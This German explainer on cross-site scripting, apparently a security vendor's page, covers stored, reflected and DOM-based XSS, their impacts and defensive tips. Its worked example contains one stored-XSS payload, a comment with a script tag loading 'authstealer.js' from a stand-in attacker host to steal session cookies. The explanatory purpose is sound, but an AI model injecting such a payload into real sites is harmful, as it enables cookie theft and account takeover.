Was ist Cross-Site-Scripting (XSS)?
Bei einem Cross-Site-Scripting-Angriff, auch Webseiten-übergreifendes Skripting oder XSS genannt, wird ein Schadcode in ansonsten vertrauenswürdige Webseiten eingeschleust. Ein Cross-Site-Scripting-Angriff liegt vor, wenn Cyberkriminelle schädliche Skripte in den Content einer angegriffenen Webseite einfügen, die dann – eingebettet in dynamische Inhalte – vom Browser des Opfers abgerufen werden. Der Browser des Opfers erkennt nicht, dass die Skripte nicht vertrauenswürdig sind, und führt sie bedenkenlos aus.
Die Skripte können daraufhin auf alle Cookies, Session-Token oder andere sensible Informationen zugreifen, die vom Browser gespeichert und auf der betreffenden Webseite verwendet werden. Angreifer können XSS auch nutzen, um Malware zu verbreiten, den Inhalt von Webseiten umzuschreiben, Chaos in sozialen Netzwerken auszulösen und Benutzerdaten zu ergaunern. Was XSS von anderen Webangriffen unterscheidet, ist, dass bei dieser Angriffsform nicht die Anwendung selbst das Ziel ist. Vielmehr geraten die Nutzer der Webanwendung ins Kreuzfeuer.
So funktioniert Cross-Site-Scripting
Beim Cross-Site-Scripting wird eine anfällige Website so manipuliert, dass sie schädliche Skripte an die Benutzer übermittelt. Häufig wird dabei JavaScript verwendet, aber auch jede andere clientseitige Skriptsprache kann betroffen sein. Cyberkriminelle haben es auf Webseiten-Schwachstellen wie Suchleisten, Kommentarfelder oder Anmeldeformulare abgesehen, die eine Benutzereingabe erfordern. Sie verbinden ihren Schadcode mit seriösen Webseiten und bringen Browser dazu, die Malware beim Laden der Webseite auszuführen.
Da JavaScript auf der Browserseite des Opfers ausgeführt wird, werden sensible Details über den authentifizierten Benutzer offengelegt. So können Schadakteure zum Beispiel Webseiten-Administratoren ins Visier nehmen und die Webseite manipulieren.
Je nach Art der Einschleusung befindet sich der Schadcode möglicherweise gar nicht auf der eigentlichen Webseite, sondern besteht nur als vorübergehendes Element, das nur zum Zeitpunkt des Angriffs Teil der Webseite zu sein scheint. So wird fälschlicherweise der Eindruck erweckt, dass die eigentliche Website manipuliert ist.
Es gibt verschiedene Möglichkeiten, einen XSS-Angriff zu lancieren. So könnte die Ausführung zum Beispiel automatisch ausgelöst werden, wenn die Seite geladen wird oder wenn ein Benutzer den Mauszeiger über bestimmte Seitenelemente, z. B. Hyperlinks, hält. In einigen Fällen wird XSS auch direkter ausgeführt, z. B. in einer E-Mail-Nachricht. Einige XSS-Angriffe verfolgen nicht einmal ein bestimmtes Ziel. Der Angreifer nutzt einfach eine Schwachstelle in der Anwendung oder Webseite aus und schädigt jeden, der das Pech hat, seinen Weg zu kreuzen.
Je nach Ausmaß des Angriffs können Benutzerkonten unterwandert, Trojanerprogramme aktiviert oder Seiteninhalte so verändert werden, dass ahnungslose Benutzer ihre persönlichen Daten dort eingeben. Sitzungscookies könnten zugänglich gemacht werden, mit denen sich Angreifer als befugte Nutzer ausgeben und deren private Konten missbrauchen können.
Ein erfolgreicher XSS-Angriff kann für den Ruf eines Online-Unternehmens verheerende Folgen haben und dessen Beziehung zu seinen Kunden nachhaltig schädigen. Leider sind die Schwachstellen, die XSS-Angriffe zum Erfolgsmodell machen, ziemlich weit verbreitet. XSS-Angriffe nutzen Schwachstellen in verschiedenen Programmiersprachen wie VBScript, Flash, ActiveX und JavaScript. Wegen der weitreichenden Integration von JavaScript in die meisten Browser hat es XSS allerdings in erster Linie auf diese Sprache abgesehen. Dass XSS auf derart weit verbreitete Plattformen zurückgreifen kann, macht diese Form des Angriffs so gefährlich und unter Cyberkriminellen so beliebt.
Auswirkungen von XSS
Folgende schädlichen Aktionen können Angreifer durch Ausnutzung von XSS-Schwachstellen durchführen:
- Umleitung von Benutzern auf eine schädliche Webseite
- Protokollieren von Tastatureingaben
- Zugriff auf den Browserverlauf und den Inhalt der Zwischenablage ihrer Opfer
- Durchführung von Webbrowser-basierten Exploits (z. B. Browser zum Absturz bringen)
- Abgreifen der Cookie-Informationen eines Nutzers, während dieser auf einer Website angemeldet ist
- Übernahme des Login-Session-Token, so dass der Angreifer anstelle des Opfers mit der betroffenen Anwendung interagieren kann, ohne das Passwort zu kennen
- Der Angreifer zwingt den Nutzer, bestimmte Anforderungen an einen Server zu senden.
- Änderungen am Inhalt einer Seite
- Das Opfer wird dazu verleitet, sein Passwort für die aktuelle Anwendung oder andere Anwendungen preiszugeben.
- Infizierung des Opfers mit weiterem Schadcode über eine Schwachstelle im Webbrowser selbst – evtl. einschließlich Übernahme des Opfer-PCs
Gelegentlich kann ein XSS-Angriff zur vollständigen Unterwanderung des angegriffenen Kontos führen. Mit einem gefälschten Formular bringt der Angreifer den Benutzer dazu, seine Anmeldedaten preiszugeben. Diese können dann in einem nächsten Schritt zum Identitätsdiebstahl oder Finanzbetrug verwendet werden.
Unterschiedliche Formen von XSS-Angriffen
Cross-Site-Skripting lässt sich in drei Hauptkategorien einteilen: persistente, reflektierte und DOM-basierte XSS-Angriffe.
Beständiges Cross-Site-Scripting (persistentes XSS)
Beständiges XSS, auch persistentes XSS genannt, gilt als die schädlichste Form von XSS-Angriffen. Persistentes XSS tritt auf, wenn vom Benutzer bereitgestellte Eingaben gespeichert und dann von der Webseite immer wieder ausgeliefert. Typische Einfallspunkte für persistentes XSS sind Nachrichtenforen, Blog-Kommentare, Benutzerprofile und Felder für Benutzernamen. Ein Angreifer nutzt diese Schwachstelle in der Regel aus, indem er auf den beliebten Seiten einer Website XSS-Payloads einschleust oder einen Link an ein Opfer weiterleitet und es so dazu bringt, die Seite mit der gespeicherten XSS-Payload anzuzeigen. Bei Aufruf der Seite wird die Payload clientseitig vom Webbrowser des Opfers ausgeführt.
Reflektiertes Cross-Site-Scripting (nicht-persistentes XSS)
Die häufigste Art von XSS wird als reflektiert (oder nicht-persistent) bezeichnet. Bei dieser Variante muss die Payload des Angreifers in die an den Webserver gesendete Anforderung integriert werden. Diese wird dann so zurückgegeben, dass die HTTP-Antwort auch die Payload der HTTP-Anforderung enthält. Angreifer nutzen schädliche Links, Phishing-Mails und andere Techniken des Social Engineering, um ihre Opfer dazu zu bringen, eine Anforderung an den Server zu senden. Die reflektierte XSS-Payload wird daraufhin im Browser des Benutzers ausgeführt.
Anders als beim persistenten XSS muss der Angreifer die Payload an jedes Opfer einzeln übermitteln. Häufig findet diese Form des Angriffs über soziale Netzwerke statt.
DOM-basiertes Cross-Site-Scripting
Ein DOM-basierter XSS-Angriff bedient sich einer Schwachstelle im DOM (Document Object Model) und nicht eines Teils des HTML-Codes. Während also bei reflektierten und persistenten XSS-Angriffen die Schwachstellen-Payload in der Antwortseite sichtbar ist, bleiben HTML-Quellcode und Antwort beim Dom-basierten Cross-Site-Scripting unverändert, d. h. die Payload kommt in der Antwort nicht vor. Sie lässt sich nur zur Laufzeit oder durch Untersuchung des DOM der Seite beobachten.
Ein DOM-basierter Angriff wird häufig als clientseitiger Angriff ausgeführt, wobei die Payload nie an den Server übermittelt wird. Das macht es Web Application Firewalls (WAFS) und Sicherheitstechnikern so schwer, diesen Angriff zu erkennen, weil Sie nur die Serverprotokolle analysieren, in denen der Angriff gar nicht stattfindet. Zu den DOM-Objekten, die am häufigsten manipuliert werden, gehören die URL (document.URL), der Ankerteil der URL (location.hash) und der Referrer (document.referrer).
Beispiel für einen XSS-Angriff
Ein Beispiel: Beim Durchsuchen einer E-Commerce-Webseite entdeckt ein Schadakteur eine Sicherheitslücke, über die er HTML-Tags in das Kommentarfeld der Webseite einbetten kann. Die eingebetteten Tags werden zu einem permanenten Bestandteil der Seite, die der Browser bei jedem Öffnen der Seite in den restlichen Quellcode einfügt.
Der Angreifer fügt zum Beispiel den folgenden Kommentar ein: Sehr preisgünstiger Artikel. Meine vollständige Bewertung finden Sie hier<script src="http://attackersite.com/authstealer.js"> </script>.
Dieses HTML-Tag im Kommentar aktiviert daraufhin bei jedem Zugriff auf die Seite eine JavaScript-Datei, die auf einer anderen Webseite gehostet wird und die Sitzungscookies der Besucher stehlen kann.
Über das Sitzungscookie gelangt der Angreifer in das Konto des Besuchers und kann dessen persönliche Informationen und Finanzdaten abgreifen. Während der ganzen Zeit ist dem Besucher der Seite, der eventuell noch nicht einmal zum Kommentarbereich hinuntergescrollt hat, gar nicht bewusst, dass ein Angriff stattgefunden hat.
Anders als bei einem reflektierten Angriff, bei dem das Skript durch Klicken auf einen Link aktiviert wird, genügt es bei einem persistenten Angriff, wenn das Opfer die manipulierte Webseite einfach nur öffnet. Damit erlangt der Angriff eine viele größere Reichweite und wird selbst für den vorsichtigsten Besucher zur Gefahr.
Aus der Sicht des Angreifers sind persistente XSS-Angriffe schwieriger auszuführen, weil er zum einen eine gut besuchte Website finden muss, die dann aber auch noch eine Schwachstelle aufweist, die für die dauerhafte Einbettung eines Skripts geeignet ist.
So entgehen Sie Cross-Site-Scripting
Entwickler und Eigentümer von Webseiten können sich wie folgt vor Cross-Site-Scripting schützen:
- Sorgen Sie dafür, dass jede Seite auf ihrer Website, auf der eine Benutzereingabe möglich ist, Code-Eingaben wie HTML und JavaScript herausfiltert.
- Überprüfen Sie Ihre Webanwendungen auf Schwachstellen und beheben Sie diese entsprechend.
- Aktualisieren Sie die Webseiten- und Serversoftware, um die künftige Ausnutzung von Schwachstellen durch XSS-Angriffe zu unterbinden.
Als Einzelbenutzer können Sie sich wie folgt vor XSS-Angriffen schützen:
- Deaktivieren Sie Skripting entweder komplett oder lassen Sie es nur auf den Seiten zu, auf denen es unbedingt erforderlich ist.
- Klicken Sie möglichst nie auf Links in verdächtigen E-Mails oder Messageboard-Beiträgen. Sie könnten zu manipulierten Seiten führen.
- Öffnen Sie Webseiten nur durch direktes Eingeben der URL in den Browser statt über einen Link oder eine externe Quelle.
- Halten Sie Ihre Software auf dem neuesten Stand, damit Sie stets von den neuesten Fehlerbehebungen und Sicherheitspatches profitieren. Mit regelmäßigen Software-Updates können Sie zahlreiche Schwachstellen, die eine Website oder Anwendung für XSS-Angriffe anfällig machen, zuverlässig schließen.
- Prüfen Sie von Zeit zu Zeit, welche Programme Sie wirklich brauchen und welche Sie eher selten nutzen. Mit dem Löschen nicht verwendeter Programme reduziert sich auch die Zahl der potentiellen Schwachstellen.
- Installieren Sie eine hochwertige Antiviren-Software wie Kaspersky Total Security , die Ihre Geräte und Daten rund um die Uhr wirksam schützt. Sie blockiert gängige und komplexe Bedrohungen wie Viren, Malware, Ransomware, Spionage-Apps und alle neuesten Hacker-Tricks.
Verwandte Artikel: